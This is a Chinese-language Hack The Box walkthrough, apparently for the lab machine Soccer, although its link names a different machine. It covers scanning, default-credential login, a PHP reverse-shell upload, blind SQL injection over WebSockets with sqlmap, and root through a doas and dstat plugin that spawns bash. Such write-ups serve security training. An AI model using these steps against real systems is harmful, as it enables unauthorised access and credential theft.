靶机网址:
https://app.hackthebox.com/machines/Precious
枚举
使用nmap枚举靶机
nmap -sC -sV 10.10.11.194
机子开放了22,80和9091端口,我们本地dns解析这个域名
echo "10.10.11.194 soccer.htb" >> /etc/hosts
然后fuzz网站根目录
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 100 -mc 200,301 -u http://soccer.htb/FUZZ
扫到一个目录,去网站上看看
看起来这是一个后台的登录页面,这个后台的框架名叫Tiny File Manager,在github上是开源的
https://github.com/prasathmani/tinyfilemanager
在这下面可以看到默认的用户名和密码,我们登录试试
登录后是一个文件上传的页面,我试了一下,发现可以上传文件的目录为/tiny/uploads
进入到这个目录,点击右上角的upload上传rev shell
我使用的rev shell:
https://pentestmonkey.net/tools/web-shells/php-reverse-shell
需要更改ip和port参数
然后nc监听这个端口,回到网页上传文件
上传成功后点击这个图标访问rev shell
成功获得交互shell
现在使用linpeas脚本搜集主机信息
https://github.com/carlospolop/PEASS-ng/releases/tag/20221218
chmod +x linpeas.sh
./linpeas.sh
通过这个脚本,在这台机子上发现了很多漏洞,但是都用不了,应该是打补丁了
在下面,脚本列出的nginx默认配置里发现了一个子域名
我们本地dns解析这个域名
echo "10.10.11.194 soc-player.soccer.htb" >> /etc/hosts
通过WebSockets进行SQL注入
现在访问这个域名
发现左上角有一个注册模块,我们注册一个账号
然后登录
登录后就会跳转到这个页面
似乎是要检查我们的票证,通过查看这个页面的源代码,可以发现突破点
它使用的是WebSockets,然后将我们输入的发送到这个URL “ws://soc-player.soccer.htb:9001”
这里告诉我们,传递的参数为id,一会sql测试的时候需要用到它
现在需要通过WebSockets进行SQL注入测试,通过google,找到了这篇文章
https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html
我们将这个代码复制下来,新建一个python文件,并粘贴进去
根据那个网页源代码,修改ws_server和data参数
然后安装websocket模块
pip3 install websocket-client
安装完成后运行脚本
python3 web_socket.py
现在使用sqlmap进行测试
sqlmap -u http://localhost:8081/?id=1 --dump-all --exclude-sysdbs
--dump-all:查找并转储找到的所有数据库
--exclude-sysdbs:不会在默认数据库上浪费时间
因为是时间盲注,所以需要等待几十分钟
现在得到用户名和密码了,使用ssh登录即可
ssh player@10.10.11.194
根据之前linpeas脚本搜集到的信息,发现doas程序有suid权限,doas也不是默认安装的程序,根据HTB机子的规律,这个程序多半是突破点了
什么是Doas
https://zh.m.wikipedia.org/zh-hans/Doas
简单来说,Doas是一个与Sudo具有相同功能的软件
寻找doas软件的配置
find / -type f -name doas.conf 2>/dev/null
提示允许用户player用dstat使用root
Dstat插件
通过查看dstat程序的官方文档,发现我们可以编写插件并执行,名称必须为dstat_*.py,插件存放的目录为/usr/local/share/dstat/
我们可以往插件里写入rev shell获得root权限
我们移动到这个目录下,创建一个名为dstat_baimao.py的文件
cd /usr/local/share/dstat/
touch dstat_baimao.py
chmod 777 dstat_baimao.py
写入代码
import subprocess
subprocess.run(["bash"])
#启动一个新的 bash shell
然后使用Doas执行Dstat插件
doas /usr/bin/dstat --baimao
成功获得root权限